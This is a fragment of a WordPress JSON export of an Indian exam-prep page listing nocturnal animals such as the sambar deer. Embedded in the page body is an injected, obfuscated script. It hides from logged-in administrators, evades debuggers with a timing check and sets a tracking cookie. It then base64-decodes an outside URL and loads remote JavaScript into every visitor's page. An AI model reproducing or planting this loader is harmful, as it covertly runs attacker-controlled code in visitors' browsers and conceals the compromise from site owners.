class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-261\">\n<li>Critically Endangered small carnivore.<\/li>\n\n\n\n<li><strong>Nocturnal<\/strong>, mainly active at night.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-262 wp-block-paragraph\"><strong>3. Sambar Deer<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-263\">\n<li>Large deer species found widely in India.<\/li>\n\n\n\n<li><strong>Primarily nocturnal\/crepuscular<\/strong> (active at dusk, night, and dawn).<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which among the following initiatives is a joint India\u2013EU connectivity and development project? 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